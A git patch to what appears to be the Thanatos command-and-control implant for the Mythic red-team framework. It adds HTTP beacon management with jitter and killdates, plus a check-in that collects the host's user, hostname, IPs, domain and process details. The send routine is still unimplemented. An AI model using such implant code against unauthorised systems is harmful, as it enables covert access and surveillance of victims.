From 54253aaff59eff83f9fae00f5eeacd041d3d9801 Mon Sep 17 00:00:00 2001 From: Matt Ehrnschwender Date: Thu, 5 Sep 2024 13:00:13 -0400 Subject: [PATCH] chore: start writing profile management --- .../thanatos/agent/thanatos/core/src/lib.rs | 96 ++++++++--------- .../thanatos/core/src/profile_mgr/beacon.rs | 101 ++++++++++++++++++ .../thanatos/core/src/profile_mgr/handler.rs | 85 +++++++++++++++ .../thanatos/core/src/profile_mgr/ipc.rs | 6 ++ .../thanatos/core/src/profile_mgr/manager.rs | 40 +++++++ .../thanatos/core/src/profile_mgr/mod.rs | 5 + 6 files changed, 280 insertions(+), 53 deletions(-) create mode 100644 Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/beacon.rs create mode 100644 Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/handler.rs create mode 100644 Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/ipc.rs create mode 100644 Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/manager.rs create mode 100644 Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/mod.rs diff --git a/Payload_Type/thanatos/agent/thanatos/core/src/lib.rs b/Payload_Type/thanatos/agent/thanatos/core/src/lib.rs index 2c095bd..d4b10eb 100644 --- a/Payload_Type/thanatos/agent/thanatos/core/src/lib.rs +++ b/Payload_Type/thanatos/agent/thanatos/core/src/lib.rs @@ -1,21 +1,20 @@ #![forbid(unsafe_code)] -use agent::Agent; -use chrono::{DateTime, TimeDelta}; +use errors::ThanatosError; use prost::Message; -use thanatos_protos::config::{config::Profile, Config, InitAction}; -use timecheck::{check_working_hours, passed_killdate}; +use thanatos_protos::config::{Config, InitAction}; + +use crate::profile_mgr::manager::ProfileManager; -mod agent; mod crypto; mod errors; mod guardrails; mod logging; +mod profile_mgr; mod system; -mod timecheck; pub fn entrypoint(config: &[u8]) { - let agent_config = match thanatos_protos::config::Config::decode(config) { + let agent_config = match Config::decode(config) { Ok(c) => c, Err(e) => { log!("Failed to decode config: {:?}", e); @@ -27,66 +26,57 @@ pub fn entrypoint(config: &[u8]) { return; } - if !profiles_available(&agent_config) { - log!("All profiles have passed their killdates"); - return; - } - match agent_config.initaction() { - InitAction::None => run_agent(agent_config), + InitAction::None => { + if let Err(e) = run_agent(agent_config) { + log!("{:?}", e); + } + } InitAction::Thread => { std::thread::spawn(|| run_agent(agent_config)); } + #[cfg(target_os = "linux")] InitAction::Fork => { - #[cfg(target_os = "linux")] - { - use ffiwrappers::linux::fork; - match fork::fork() { - Ok(fork::ForkProcess::Child) => run_agent(agent_config), - Err(e) => { - log!("Failed to fork process: {:?}", e); - } - _ => (), + use ffiwrappers::linux::fork; + match fork::fork() { + Ok(fork::ForkProcess::Child) => { + let _ = run_agent(agent_config); + } + Err(e) => { + log!("Failed to fork process: {:?}", e); } + _ => (), } + } - #[cfg(target_os = "windows")] - run_agent(agent_config); + #[cfg(target_os = "windows")] + InitAction::Fork => { + if let Err(e) = run_agent(agent_config) { + log!("{:?}", e); + } } }; } -fn run_agent(agent_config: Config) { - if let Some(working_hours) = agent_config.working_hours.as_ref() { - let start_time = TimeDelta::minutes(working_hours.start.into()); - let end_time = TimeDelta::minutes(working_hours.end.into()); - if let Some(Ok(sleep_delta)) = check_working_hours(start_time, end_time).map(|v| v.to_std()) - { - std::thread::sleep(sleep_delta); - if !profiles_available(&agent_config) { - log!("All profiles have passed their killdates"); +fn run_agent(agent_config: Config) -> Result<(), ThanatosError> { + let manager = ProfileManager::new(&agent_config); + std::thread::scope(|scope| { + let profiles = match manager.run(scope) { + Ok(mgr) => mgr, + Err(e) => { + log!("Failed to run profiles: {:?}", e); return; } - } - } + }; - if let Ok(agent_instance) = Agent::perform_checkin(agent_config) { - agent_instance.run(); - } -} - -fn profiles_available(agent_config: &Config) -> bool { - let http_active = if let Some(Profile::Http(profile)) = agent_config.profile.as_ref() { - DateTime::from_timestamp(profile.killdate as i64, 0) - .map(|killdate| !passed_killdate(killdate)) - .unwrap_or(false) - } else { - false - }; + while profiles.running() { + log!("Agent thread waiting for message"); + let _msg = match profiles.receiver.recv() { + Ok(m) => m, + Err(_) => break, + }; + } + }); - if !http_active { - false - } else { - true - } + Ok(()) } diff --git a/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/beacon.rs b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/beacon.rs new file mode 100644 index 0000000..3c69b63 --- /dev/null +++ b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/beacon.rs @@ -0,0 +1,101 @@ +use std::time::Duration; + +use chrono::{DateTime, Utc}; +use crossbeam_channel::{select, tick, Receiver, Sender}; +use profiles::beacon::http::HttpC2Profile; +use thanatos_protos::{ + config::Config, + msg::{AgentMessage, MythicResponse}, +}; + +use crate::{errors::ThanatosError, log}; + +use super::ipc::ProfileIPCMsg; + +pub struct BeaconManager { + callback_interval: u32, + callback_jitter: u32, + http: Option, +} + +struct HttpManager { + killdate: DateTime, + aeskey: Option<[u8; 32]>, + profile: HttpC2Profile, +} + +impl BeaconManager { + pub fn new(config: &Config) -> Option { + let mut callback_jitter = 0; + let mut callback_interval = 0; + + let http = config.http.as_ref().and_then(|http| { + callback_interval = http.callback_interval; + callback_jitter = http.callback_jitter; + let killdate = DateTime::from_timestamp(http.killdate as i64, 0)?; + + let profile = HttpC2Profile::new(http); + + let aeskey: Option<[u8; 32]> = if !http.aes_key.is_empty() { + http.aes_key[..].try_into().ok() + } else { + None + }; + Some(HttpManager { + killdate, + profile, + aeskey, + }) + }); + + if http.is_none() { + return None; + } + + Some(BeaconManager { + callback_interval, + callback_jitter, + http, + }) + } + + pub fn run( + mut self, + sender: Sender, + receiver: Receiver, + ) -> Result<(), ThanatosError> { + while self.http.is_some() { + log!("Beacon thread polling"); + + select! { + recv(receiver) -> received => { + match received { + Ok(ProfileIPCMsg::UpdateSleep{ interval, jitter }) => self.update_sleep(interval, jitter), + Ok(ProfileIPCMsg::C2Data(data)) => sender.send(self.send_data(data)?).unwrap(), + Err(_) => continue, + } + }, + recv(tick(Duration::from_secs(5))) -> _ => (), + } + + log!("Beacon thread poll finished"); + let current_time: DateTime = std::time::SystemTime::now().into(); + let _ = self.http.take_if(|http| http.killdate <= current_time); + } + + Ok(()) + } + + fn update_sleep(&mut self, interval: u32, jitter: u32) { + self.callback_interval = interval; + self.callback_jitter = jitter; + } + + fn send_data(&mut self, data: AgentMessage) -> Result { + std::thread::sleep(std::time::Duration::from_secs( + self.callback_interval as u64, + )); + + todo!(); + } +} diff --git a/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/handler.rs b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/handler.rs new file mode 100644 index 0000000..094061a --- /dev/null +++ b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/handler.rs @@ -0,0 +1,85 @@ +use std::thread::ScopedJoinHandle; + +use crossbeam_channel::{Receiver, Sender}; +use thanatos_protos::msg::{ + agent_checkin_message::PlatformInfo, agent_message::Message, AgentCheckinMessage, AgentMessage, + Architecture, LinuxInfo, MythicResponse, +}; + +use crate::{errors::ThanatosError, system}; + +use super::ipc::ProfileIPCMsg; + +// TODO: Check working hours +// TODO: Check profile killdates + +pub struct ProfileHandler<'scope> { + beacons: Option>, + pub receiver: Receiver, +} + +pub(super) struct ManagedProfile<'scope> { + sender: Sender, + handle: ScopedJoinHandle<'scope, ()>, +} + +impl<'scope> ProfileHandler<'scope> { + pub(super) fn new( + beacons: Option>, + receiver: Receiver, + ) -> Result, ThanatosError> { + #[cfg(target_os = "linux")] + let platform_info = PlatformInfo::Linux(LinuxInfo { + distro: system::distro(), + kernel: system::kernel(), + selinux: false, + container: system::container_environment().map(|e| e.into()), + }); + + let checkin_data = AgentCheckinMessage { + user: system::username().ok(), + host: system::hostname().ok(), + pid: Some(std::process::id()), + architecture: system::architecture() + .unwrap_or_else(|| { + if std::mem::size_of::() == 8 { + Architecture::X8664 + } else { + Architecture::X86 + } + }) + .into(), + domain: system::domain().ok(), + integrity_level: Some(2), + process_name: system::process_name().ok(), + ips: system::internal_ips().unwrap_or_default(), + platform_info: Some(platform_info), + }; + + if let Some(beacon) = beacons.as_ref() { + beacon + .sender + .send(ProfileIPCMsg::C2Data(AgentMessage { + message: Some(Message::Checkin(checkin_data)), + })) + .unwrap(); + } + + Ok(Self { beacons, receiver }) + } + + pub fn running(&self) -> bool { + self.beacons + .as_ref() + .is_some_and(|beacons| !beacons.handle.is_finished()) + } +} + +impl<'scope> ManagedProfile<'scope> { + pub fn new( + sender: Sender, + handle: ScopedJoinHandle<'scope, ()>, + ) -> ManagedProfile<'scope> { + Self { sender, handle } + } +} diff --git a/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/ipc.rs b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/ipc.rs new file mode 100644 index 0000000..c4f017b --- /dev/null +++ b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/ipc.rs @@ -0,0 +1,6 @@ +use thanatos_protos::msg::AgentMessage; + +pub enum ProfileIPCMsg { + UpdateSleep { interval: u32, jitter: u32 }, + C2Data(AgentMessage), +} diff --git a/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/manager.rs b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/manager.rs new file mode 100644 index 0000000..fb37297 --- /dev/null +++ b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/manager.rs @@ -0,0 +1,40 @@ +use std::thread::Scope; + +use thanatos_protos::config::Config; + +use crate::{errors::ThanatosError, log, profile_mgr::handler::ManagedProfile}; + +use super::{beacon::BeaconManager, handler::ProfileHandler}; + +pub struct ProfileManager { + beacons: Option, +} + +impl ProfileManager { + pub fn new(config: &Config) -> ProfileManager { + let beacons = BeaconManager::new(config); + ProfileManager { beacons } + } + + pub fn run<'scope, 'env: 'scope>( + mut self, + scope: &'scope Scope<'scope, 'env>, + ) -> Result, ThanatosError> { + let (sender, receiver) = crossbeam_channel::unbounded(); + + let beacons = self.beacons.take().map(|beacons| { + let new_sender = sender.clone(); + let (profile_sender, profile_receiver) = crossbeam_channel::unbounded(); + ManagedProfile::new( + profile_sender, + scope.spawn(|| { + if let Err(e) = beacons.run(new_sender, profile_receiver) { + log!("{:?}", e); + } + }), + ) + }); + + ProfileHandler::new(beacons, receiver) + } +} diff --git a/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/mod.rs b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/mod.rs new file mode 100644 index 0000000..b95f18a --- /dev/null +++ b/Payload_Type/thanatos/agent/thanatos/core/src/profile_mgr/mod.rs @@ -0,0 +1,5 @@ +mod beacon; +mod ipc; + +pub mod handler; +pub mod manager;